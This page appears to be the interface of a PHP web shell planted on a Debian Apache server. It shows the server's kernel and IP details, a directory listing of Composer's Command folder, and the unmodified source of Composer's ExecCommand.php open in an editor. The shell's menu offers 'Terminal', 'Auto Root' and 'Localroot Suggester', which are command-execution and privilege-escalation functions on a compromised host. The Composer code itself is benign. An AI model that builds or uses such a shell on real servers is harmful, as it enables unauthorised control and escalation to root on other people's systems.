Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
Composer /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
AboutCommand.php
1.28
KB
-rw-r--r--
2023-03-21 10:50
ArchiveCommand.php
8.5
KB
-rw-r--r--
2023-03-21 10:50
AuditCommand.php
3.26
KB
-rw-r--r--
2023-03-21 10:50
BaseCommand.php
15.25
KB
-rw-r--r--
2026-05-14 09:28
BaseDependencyCommand.php
10.23
KB
-rw-r--r--
2023-03-21 10:50
BumpCommand.php
9.62
KB
-rw-r--r--
2023-03-21 10:50
CheckPlatformReqsCommand.php
8.84
KB
-rw-r--r--
2023-03-21 10:50
ClearCacheCommand.php
3.38
KB
-rw-r--r--
2023-03-21 10:50
CompletionTrait.php
7.92
KB
-rw-r--r--
2023-03-21 10:50
ConfigCommand.php
41.2
KB
-rw-r--r--
2023-03-21 10:50
CreateProjectCommand.php
23.65
KB
-rw-r--r--
2023-03-21 10:50
DependsCommand.php
1.88
KB
-rw-r--r--
2023-03-21 10:50
DiagnoseCommand.php
27.23
KB
-rw-r--r--
2023-03-21 10:50
DumpAutoloadCommand.php
5.48
KB
-rw-r--r--
2023-03-21 10:50
ExecCommand.php
4.62
KB
-rw-r--r--
2023-03-21 10:50
FundCommand.php
5.33
KB
-rw-r--r--
2023-03-21 10:50
GlobalCommand.php
5.53
KB
-rw-r--r--
2023-03-21 10:50
HomeCommand.php
5.41
KB
-rw-r--r--
2023-03-21 10:50
InitCommand.php
23.24
KB
-rw-r--r--
2023-03-21 10:50
InstallCommand.php
7.95
KB
-rw-r--r--
2023-03-21 10:50
LicensesCommand.php
5.79
KB
-rw-r--r--
2023-03-21 10:50
OutdatedCommand.php
5.43
KB
-rw-r--r--
2023-03-21 10:50
PackageDiscoveryTrait.php
20.17
KB
-rw-r--r--
2023-03-21 10:50
ProhibitsCommand.php
2.05
KB
-rw-r--r--
2023-03-21 10:50
ReinstallCommand.php
8.13
KB
-rw-r--r--
2023-03-21 10:50
RemoveCommand.php
14.97
KB
-rw-r--r--
2023-03-21 10:50
RequireCommand.php
29.05
KB
-rw-r--r--
2023-03-21 10:50
RunScriptCommand.php
6.29
KB
-rw-r--r--
2023-03-21 10:50
ScriptAliasCommand.php
2.42
KB
-rw-r--r--
2023-03-21 10:50
SearchCommand.php
5
KB
-rw-r--r--
2023-03-21 10:50
SelfUpdateCommand.php
26.52
KB
-rw-r--r--
2023-03-21 10:50
ShowCommand.php
59.69
KB
-rw-r--r--
2023-03-21 10:50
StatusCommand.php
8.37
KB
-rw-r--r--
2023-03-21 10:50
SuggestsCommand.php
3.97
KB
-rw-r--r--
2023-03-21 10:50
UpdateCommand.php
16.14
KB
-rw-r--r--
2023-03-21 10:50
ValidateCommand.php
9.26
KB
-rw-r--r--
2023-03-21 10:50
Save
Rename
<?php declare(strict_types=1); /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Command; use Symfony\Component\Console\Input\InputInterface; use Composer\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Composer\Console\Input\InputArgument; /** * @author Davey Shafik <me@daveyshafik.com> */ class ExecCommand extends BaseCommand { /** * @return void */ protected function configure() { $this ->setName('exec') ->setDescription('Executes a vendored binary/script') ->setDefinition([ new InputOption('list', 'l', InputOption::VALUE_NONE), new InputArgument('binary', InputArgument::OPTIONAL, 'The binary to run, e.g. phpunit', null, function () { return $this->getBinaries(false); }), new InputArgument( 'args', InputArgument::IS_ARRAY | InputArgument::OPTIONAL, 'Arguments to pass to the binary. Use <info>--</info> to separate from composer arguments' ), ]) ->setHelp( <<<EOT Executes a vendored binary/script. Read more at https://getcomposer.org/doc/03-cli.md#exec EOT ) ; } protected function interact(InputInterface $input, OutputInterface $output): void { $binaries = $this->getBinaries(false); if (count($binaries) === 0) { return; } if ($input->getArgument('binary') !== null || $input->getOption('list')) { return; } $io = $this->getIO(); /** @var int $binary */ $binary = $io->select( 'Binary to run: ', $binaries, '', 1, 'Invalid binary name "%s"' ); $input->setArgument('binary', $binaries[$binary]); } protected function execute(InputInterface $input, OutputInterface $output) { $composer = $this->requireComposer(); if ($input->getOption('list') || null === $input->getArgument('binary')) { $bins = $this->getBinaries(true); if ([] === $bins) { $binDir = $composer->getConfig()->get('bin-dir'); throw new \RuntimeException("No binaries found in composer.json or in bin-dir ($binDir)"); } $this->getIO()->write( <<<EOT <comment>Available binaries:</comment> EOT ); foreach ($bins as $bin) { $this->getIO()->write( <<<EOT <info>- $bin</info> EOT ); } return 0; } $binary = $input->getArgument('binary'); $dispatcher = $composer->getEventDispatcher(); $dispatcher->addListener('__exec_command', $binary); // If the CWD was modified, we restore it to what it was initially, as it was // most likely modified by the global command, and we want exec to run in the local working directory // not the global one if (getcwd() !== $this->getApplication()->getInitialWorkingDirectory() && $this->getApplication()->getInitialWorkingDirectory() !== false) { try { chdir($this->getApplication()->getInitialWorkingDirectory()); } catch (\Exception $e) { throw new \RuntimeException('Could not switch back to working directory "'.$this->getApplication()->getInitialWorkingDirectory().'"', 0, $e); } } return $dispatcher->dispatchScript('__exec_command', true, $input->getArgument('args')); } /** * @return list<string> */ private function getBinaries(bool $forDisplay): array { $composer = $this->requireComposer(); $binDir = $composer->getConfig()->get('bin-dir'); $bins = glob($binDir . '/*'); $localBins = $composer->getPackage()->getBinaries(); if ($forDisplay) { $localBins = array_map(static function ($e) { return "$e (local)"; }, $localBins); } $binaries = []; foreach (array_merge($bins, $localBins) as $bin) { // skip .bat copies if (isset($previousBin) && $bin === $previousBin.'.bat') { continue; } $previousBin = $bin; $binaries[] = basename($bin); } return $binaries; } }